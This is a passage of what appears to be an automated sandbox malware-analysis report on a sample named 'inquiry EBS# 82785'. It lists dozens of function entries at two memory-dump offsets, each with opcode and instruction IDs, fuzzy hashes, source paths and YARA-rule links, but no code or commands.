                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9c3ae74c9edcea3142bea1908a19488acfdedb1138243ddd0c8133d0feba1b40
                                                          • Instruction ID: 02d7b2d5145c5e33e90b46ee3d7b5bd569a2fafef2df5a2a9a4cad0325e30f0b
                                                          • Opcode Fuzzy Hash: 9c3ae74c9edcea3142bea1908a19488acfdedb1138243ddd0c8133d0feba1b40
                                                          • Instruction Fuzzy Hash: A61107B5D007499FDB20DF9AC444B9EFBF4EB48320F14842AD859A7311D775A905CFA1
                                                          Function 04D83F90 Relevance: .0, Instructions: 50COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ff0f6ff0597c8b0e01d7d4baec6a126e4450da557062545d2db22a3fe3038c86
                                                          • Instruction ID: 47c11cd814841ea37f9cca6732453fe05250ec8b0a1e37741c8ca47a45f77fc6
                                                          • Opcode Fuzzy Hash: ff0f6ff0597c8b0e01d7d4baec6a126e4450da557062545d2db22a3fe3038c86
                                                          • Instruction Fuzzy Hash: 221104B5C006498FDB20DF9AD844B9EFBF4EB48324F14842AD869A7310D775A505CFA1
                                                          Function 04D85428 Relevance: .0, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 052ec44de32beb51371f808f38b16c74722e4942164f38b1de8f077491d15e23
                                                          • Instruction ID: 35d3a7e53da1cb46152a58b0bcff4edd566d337ed50d5f60bb7d5ceeb6a26a5d
                                                          • Opcode Fuzzy Hash: 052ec44de32beb51371f808f38b16c74722e4942164f38b1de8f077491d15e23
                                                          • Instruction Fuzzy Hash: D21152B58003498FCB20DFAAD444BDEFBF4EB48320F20841AD968A7250C775AA45CFA0
                                                          Function 04D8CF50 Relevance: .0, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0572734dbf3dfde26b351336a34de430b47f58b92846b8a1fd7260dc4c7960a5
                                                          • Instruction ID: 0fcd6ef9c6fb986dc7d1584da1478f48f6450c74c57f19e7d0253178ec5af74f
                                                          • Opcode Fuzzy Hash: 0572734dbf3dfde26b351336a34de430b47f58b92846b8a1fd7260dc4c7960a5
                                                          • Instruction Fuzzy Hash: E6015271B00705ABE724EF6AD44056EB7F6EFC5254714C56EE019DB640EB31FA06CBA0
                                                          Function 04D84AD8 Relevance: .0, Instructions: 47COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8cc21f3f6862b7c88e74b3b8fe67fc8565e872e67bcd115f2f112188a1c7981b
                                                          • Instruction ID: 98cc30271d67d57ff3d0401c6f1f66a50c1967d6184f71893a835c63d98a431e
                                                          • Opcode Fuzzy Hash: 8cc21f3f6862b7c88e74b3b8fe67fc8565e872e67bcd115f2f112188a1c7981b
                                                          • Instruction Fuzzy Hash: F01133B59003589FDB20EF9AD445BEEFBF4EB48320F10841AD958A7310C774A944CFA5
                                                          Function 04D87F59 Relevance: .0, Instructions: 46COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dc09e469cbbb6aa8ea153e7c262433d701a2742580caf4b9d7db1d87cc20ae98
                                                          • Instruction ID: f6de1ce430e6805f1e4614b6419eaa5d8e999080342c3a498dd18cc8bac9aa8a
                                                          • Opcode Fuzzy Hash: dc09e469cbbb6aa8ea153e7c262433d701a2742580caf4b9d7db1d87cc20ae98
                                                          • Instruction Fuzzy Hash: 5E01B1316007089FD325FF35C85056677B1FFC1304B11856ED5868B2A1EF30E882CB91
                                                          Function 04D807C8 Relevance: .0, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 179b6b4c8ed13d3b46c7a5384f53ce408415e80c4981446938536df7bc48b5ef
                                                          • Instruction ID: 6de1a6452dd1548a76b3539d1317586f6feeb4a40a2177a758d891719a20b56f
                                                          • Opcode Fuzzy Hash: 179b6b4c8ed13d3b46c7a5384f53ce408415e80c4981446938536df7bc48b5ef
                                                          • Instruction Fuzzy Hash: B5015E70A001049FDB04AB69D958A6BBBF6EB88314F15816DE506AB345CB79AC14CBB1
                                                          Function 04D87E77 Relevance: .0, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ce57f8cb284b099b6482ab4b163976bf87b579b345b2346a77b419a513af49f6
                                                          • Instruction ID: 665e623c9c568a3a0bbf54713cf4d334aeb7ef0b347644a55368407f5a54edb7
                                                          • Opcode Fuzzy Hash: ce57f8cb284b099b6482ab4b163976bf87b579b345b2346a77b419a513af49f6
                                                          • Instruction Fuzzy Hash: 1001F534A043408FD302AB36D8543D67BEAEF86305F14886ED48987352DBB86946CBA1
                                                          Function 04D8DFBA Relevance: .0, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a181b8a74382dc8fcce7623e49ab19b084a79982d6a531ed4270c30b41b47bac
                                                          • Instruction ID: d63b68d1beae5cce6c77c123e46c534c92e56556bdf47ddaa9a84868c9a40922
                                                          • Opcode Fuzzy Hash: a181b8a74382dc8fcce7623e49ab19b084a79982d6a531ed4270c30b41b47bac
                                                          • Instruction Fuzzy Hash: D5016574E00608CFEB24BFB5C4147BE7AA2EB48315F14482ED002E72C0DB79A985CFA5
                                                          Function 00DAD745 Relevance: .0, Instructions: 45COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271553027.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dad000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f2e30cdb9cd38568c28b5988f743ae811fe888024bdc1d66bb876589bd0269f8
                                                          • Instruction ID: f3491a8bc1c7a7f78dc0c4238e118daea6ad5644261da5ea35f280bd54617aa0
                                                          • Opcode Fuzzy Hash: f2e30cdb9cd38568c28b5988f743ae811fe888024bdc1d66bb876589bd0269f8
                                                          • Instruction Fuzzy Hash: 1001F2310083409AE7245E21CC84B26BB99DF42325F28C52AED5B0F682C679DC41CAB2
                                                          Function 04D88338 Relevance: .0, Instructions: 44COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2b5c142f123a2814f18d80fcf5eacf169e92e2c05f00bf70d293145ee54477c3
                                                          • Instruction ID: e290382719ac3a8335edb09c3fb5c21ebfc2361829e28c99a200abd67b66f4d6
                                                          • Opcode Fuzzy Hash: 2b5c142f123a2814f18d80fcf5eacf169e92e2c05f00bf70d293145ee54477c3
                                                          • Instruction Fuzzy Hash: CC016D31700B048FDB127B74C8115BEBB35EFC2265F45456ED989AB291EB30E94687A2
                                                          Function 04D87F68 Relevance: .0, Instructions: 44COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 5dc02b77562d4396f7f6fcd3a49e16cb897fd586effbe7188db5a3183a8ea655
                                                          • Instruction ID: fded7f1930ca468d9918e6c6724ea27218f8f25c7f768e532b80ed90433e8a9b
                                                          • Opcode Fuzzy Hash: 5dc02b77562d4396f7f6fcd3a49e16cb897fd586effbe7188db5a3183a8ea655
                                                          • Instruction Fuzzy Hash: A3014031A007089FD729FF36C44056677B6FFC5314B10C56EE5468B660EB31E981CB90
                                                          Function 04D86930 Relevance: .0, Instructions: 43COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6161de20c2d9d9a8ffcccfac6f0f5b2a3c40382db618a892351cd3e12d93cddf
                                                          • Instruction ID: 3a88cf8cde6e2f689463d8c59625a26a734b0853f9608b1ae8769cb182135db4
                                                          • Opcode Fuzzy Hash: 6161de20c2d9d9a8ffcccfac6f0f5b2a3c40382db618a892351cd3e12d93cddf
                                                          • Instruction Fuzzy Hash: 3BF0F0753005108FEB1A7E3A905867D67AAEFD766571A00AED805CF7E0DE24EC07C3A1
                                                          Function 04D86840 Relevance: .0, Instructions: 42COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a1dbd4785eddc9922ee2f0524a5781daf3b6d326caedd71b952ffa9cd252832e
                                                          • Instruction ID: ad33fd1f95c311118b97d39b8d22471c9dd49a9aae93afafbc8b87f73915c491
                                                          • Opcode Fuzzy Hash: a1dbd4785eddc9922ee2f0524a5781daf3b6d326caedd71b952ffa9cd252832e
                                                          • Instruction Fuzzy Hash: 6E01FC30A043408BD715AB36D4443A67BDADBC5306F10882ED48587342DFB4A845CB61
                                                          Function 04D86578 Relevance: .0, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 22d91ae1c345f7919cce6032fba6275618a7e311e5ec83ff71b2f108d193bfa2
                                                          • Instruction ID: d8a82fe908cf2c9ee68553c05be2e3d06508b346782a8f100f952e3352c4a0de
                                                          • Opcode Fuzzy Hash: 22d91ae1c345f7919cce6032fba6275618a7e311e5ec83ff71b2f108d193bfa2
                                                          • Instruction Fuzzy Hash: 19F0E9313002118BD628BB3B9454B3A36D9EFC5A75705846EE403D7690EE20FD119BA0
                                                          Function 04D84500 Relevance: .0, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3ebad3feadf9694fe121d10b8210849d4ddc07c22c9d296ad18095beb2170420
                                                          • Instruction ID: 22433d941aa92a6de5de7329182b4971fbb3f4750d43e8eded446895a5485bd3
                                                          • Opcode Fuzzy Hash: 3ebad3feadf9694fe121d10b8210849d4ddc07c22c9d296ad18095beb2170420
                                                          • Instruction Fuzzy Hash: DEF03671B002145BAF16B6ED98509BFBBAADB88914B14002DE909A7341DA329D1187F9
                                                          Function 04D8D1B4 Relevance: .0, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 984ebe85ccce813096e48d3e5acecb1cee8c6399136ab7dcab2d8719d9650054
                                                          • Instruction ID: f1630c1e09fe3f2f742f05f92094dd13f5ea25685de8e049a6cc52840637a479
                                                          • Opcode Fuzzy Hash: 984ebe85ccce813096e48d3e5acecb1cee8c6399136ab7dcab2d8719d9650054
                                                          • Instruction Fuzzy Hash: 99F0B1353042546BEB157EA99C50ABF3E9BDFC8610B04441DFA558A391CE35EC1197B1
                                                          Function 04D883B8 Relevance: .0, Instructions: 40COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b723bd6f6fc9c74dc4c04b5aebb332278614cdfc255e46d0ff47442542d07b4c
                                                          • Instruction ID: e895eb8192f266cda5afeba80924189eb63678966fe91c641478f0abe012f2ee
                                                          • Opcode Fuzzy Hash: b723bd6f6fc9c74dc4c04b5aebb332278614cdfc255e46d0ff47442542d07b4c
                                                          • Instruction Fuzzy Hash: 6FF0A9322006028FC720AA29E484A6BB7A6FB89321B15016AE40ACB761DB35AC038794
                                                          Function 04D88740 Relevance: .0, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c021c7f0673691daa6e9b3e87232e48002ab14c71a64e7f15eb61b897c964532
                                                          • Instruction ID: c0b2b1973f5ea345a16fe86c9bdb668d170bf2d6e77c02bbd64a9ed4bf94c9ca
                                                          • Opcode Fuzzy Hash: c021c7f0673691daa6e9b3e87232e48002ab14c71a64e7f15eb61b897c964532
                                                          • Instruction Fuzzy Hash: 14F024767016214FC3226B79F89C89A7BA5EF862213010569F14ACB212CE60AC0787D1
                                                          Function 04D8E770 Relevance: .0, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b80bf52af9a7361574cba58e01fa0f966195bbf7c8b980636fe31f35f54feb32
                                                          • Instruction ID: 4682e48977756f91d9e2a9ad5d743b5d7cc33745603c003ce6248b9fa4a117eb
                                                          • Opcode Fuzzy Hash: b80bf52af9a7361574cba58e01fa0f966195bbf7c8b980636fe31f35f54feb32
                                                          • Instruction Fuzzy Hash: 26F0C235B093149FCB156B71F89516E7BA7EBC2319B00986EE44697381CE38AC07CB90
                                                          Function 04D858F9 Relevance: .0, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0b880098f7d3de2c7904fd2e3c95e4aa03266e39d258c190649a062ac9dcb3cf
                                                          • Instruction ID: d2a65b469cbd46628f27692d9d86360c5a43d9c0c5a574eb56fd5f0c7a071c90
                                                          • Opcode Fuzzy Hash: 0b880098f7d3de2c7904fd2e3c95e4aa03266e39d258c190649a062ac9dcb3cf
                                                          • Instruction Fuzzy Hash: A501D675D00609DFCB40EFA8C5859DDBBF0FF59200B11819AE859EB321E770AA45CB91
                                                          Function 04D869C8 Relevance: .0, Instructions: 39COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7ba2ffb85b24cab7a2c41344d67314aca604a8763e497af30a11cda2ad281bd6
                                                          • Instruction ID: 02241204912e5176b882a7e4b983a7643ac70f66c15cf3236583ae8d97394159
                                                          • Opcode Fuzzy Hash: 7ba2ffb85b24cab7a2c41344d67314aca604a8763e497af30a11cda2ad281bd6
                                                          • Instruction Fuzzy Hash: 7FF0E9353043128FD7147F269458A7937E9AF85A7670A40AED443CB791DE20FD52DB70
                                                          Function 04D88750 Relevance: .0, Instructions: 37COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b9efa5043080a1da9dac3692a987d9fd59d8c98075940c594363ec81357e780e
                                                          • Instruction ID: 620dd8b8f9341e74b93dbf7c1723044008e86fc7d07afd85e4c38f7b3797f33b
                                                          • Opcode Fuzzy Hash: b9efa5043080a1da9dac3692a987d9fd59d8c98075940c594363ec81357e780e
                                                          • Instruction Fuzzy Hash: 88F05B357007154FD6259F6AF88885A77AAEFC52753014579E109C7211DE61AC0687D0
                                                          Function 04D88348 Relevance: .0, Instructions: 37COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 51f388e046bf811f97d03de2d7d7dcbf42020224c6e3a7b9507a6e09c3a662fc
                                                          • Instruction ID: 6d4c06b91c07dbeaa9d71465263d112b7a8f9b958ae963e0f514509f00173335
                                                          • Opcode Fuzzy Hash: 51f388e046bf811f97d03de2d7d7dcbf42020224c6e3a7b9507a6e09c3a662fc
                                                          • Instruction Fuzzy Hash: 5FF06231700B088BDB15BB74C4005BEB775EFC1225F45456DD94967240EF31F58186E6
                                                          Function 04D8DED0 Relevance: .0, Instructions: 37COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 848b3119db1a794498473b81dc60861f750b431711b9fb330da351c0959e5a0e
                                                          • Instruction ID: 47c917c7b81237019083237021d7c1e21933d956ce76aa926d3eb07611b43927
                                                          • Opcode Fuzzy Hash: 848b3119db1a794498473b81dc60861f750b431711b9fb330da351c0959e5a0e
                                                          • Instruction Fuzzy Hash: 31F0823460BBC54FEB13EA20DD525A47BA1FB41209B06809FD0C48F4D7C228654BC752
                                                          Function 04D86940 Relevance: .0, Instructions: 36COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8fc108c28968500c989952173dcef3546b476b07af016a9838055481cabfcaf3
                                                          • Instruction ID: f61c7b43c17c070da4123302b0ef8600d953b7282d2013bda3dedd1f172bd0c0
                                                          • Opcode Fuzzy Hash: 8fc108c28968500c989952173dcef3546b476b07af016a9838055481cabfcaf3
                                                          • Instruction Fuzzy Hash: 39F08C313005144B9B19BE3A901863E72EEEFC6A65B19407DD505CB7A0EE35ED06C7A1
                                                          Function 00DAD744 Relevance: .0, Instructions: 36COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271553027.0000000000DAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DAD000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_dad000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 59ee94502f87504dae19019867aac88b2a4d92e120b1928d682f0978d525d836
                                                          • Instruction ID: 57d232f675271c03858da1b365d574992b9171ec09d93f1b733e622b0f62846e
                                                          • Opcode Fuzzy Hash: 59ee94502f87504dae19019867aac88b2a4d92e120b1928d682f0978d525d836
                                                          • Instruction Fuzzy Hash: EDF0F6310043409EE7149E15CC88B62FF98EB91734F18C45EED0A4F296C2799C40CBB1
                                                          Function 04D8D779 Relevance: .0, Instructions: 35COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1f8b7e0315a5c7a83b2ae197c54e32a8e0374da3e5edf4e590df38eafe9bd95e
                                                          • Instruction ID: caacad57a3ae4a24dd827175aa019ac283feb09ee17425efbb0d98851602a7a8
                                                          • Opcode Fuzzy Hash: 1f8b7e0315a5c7a83b2ae197c54e32a8e0374da3e5edf4e590df38eafe9bd95e
                                                          • Instruction Fuzzy Hash: 9CF027372081942FC7069A25E84099A7FAAEF8A211B05C05AF548CB192CA799D17C771
                                                          Function 04D88BB1 Relevance: .0, Instructions: 35COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e85949419531a70c4d601e9a206a717767a56ab279cf0ad03003dc8c1f99d54f
                                                          • Instruction ID: 40121b4cbe2a34bade2a9bfd0d5c86d5a5444b240a977d72186d5e71c717a395
                                                          • Opcode Fuzzy Hash: e85949419531a70c4d601e9a206a717767a56ab279cf0ad03003dc8c1f99d54f
                                                          • Instruction Fuzzy Hash: 95F04475644650CFC318DB28D498C887BF1EF4A70930644E9E05ACF332CB62EC42CB80
                                                          Function 04D85578 Relevance: .0, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 750e6d92e8a96e738d927d5a5a95247e34e329ce14ff40d899d26da8a5010390
                                                          • Instruction ID: 13136328d1ad49ab1ff3f038a6271f469c1a2381ffb36ed3b4b3f48c0af1f02e
                                                          • Opcode Fuzzy Hash: 750e6d92e8a96e738d927d5a5a95247e34e329ce14ff40d899d26da8a5010390
                                                          • Instruction Fuzzy Hash: 73F0E571604341AFD731AF31A8558B77FB9EE46654300456EE849C7A11EA22FC0AC7B5
                                                          Function 04D883C8 Relevance: .0, Instructions: 34COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 815916f24786019d87a3a448a00e6394714ebe996f1a73c7f4b76b0aa20d704b
                                                          • Instruction ID: 4619c95d32bbb08debc7cff4fe42c50d5e7d70af7d6a2ec489bdc8eee2cdc54e
                                                          • Opcode Fuzzy Hash: 815916f24786019d87a3a448a00e6394714ebe996f1a73c7f4b76b0aa20d704b
                                                          • Instruction Fuzzy Hash: 04F0BE323006008FC724AB1AF484A2BB7ABFFC8321B14016DF40A87321DB71BC02CB94
                                                          Function 04D8E780 Relevance: .0, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 3b3567a8021aa0c4dc24b321d12afbadbb345d1a112f009dc2fc4b7a0ef6a834
                                                          • Instruction ID: 4ada84b0714c2e459ae36357fabcbd4ff54d0c1cc08e680dfc990f96251db161
                                                          • Opcode Fuzzy Hash: 3b3567a8021aa0c4dc24b321d12afbadbb345d1a112f009dc2fc4b7a0ef6a834
                                                          • Instruction Fuzzy Hash: 1BF08935B043149FDB197B75F45856E77E7EBC5315B10982DE44697380CE38AC05CB90
                                                          Function 04D85908 Relevance: .0, Instructions: 33COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
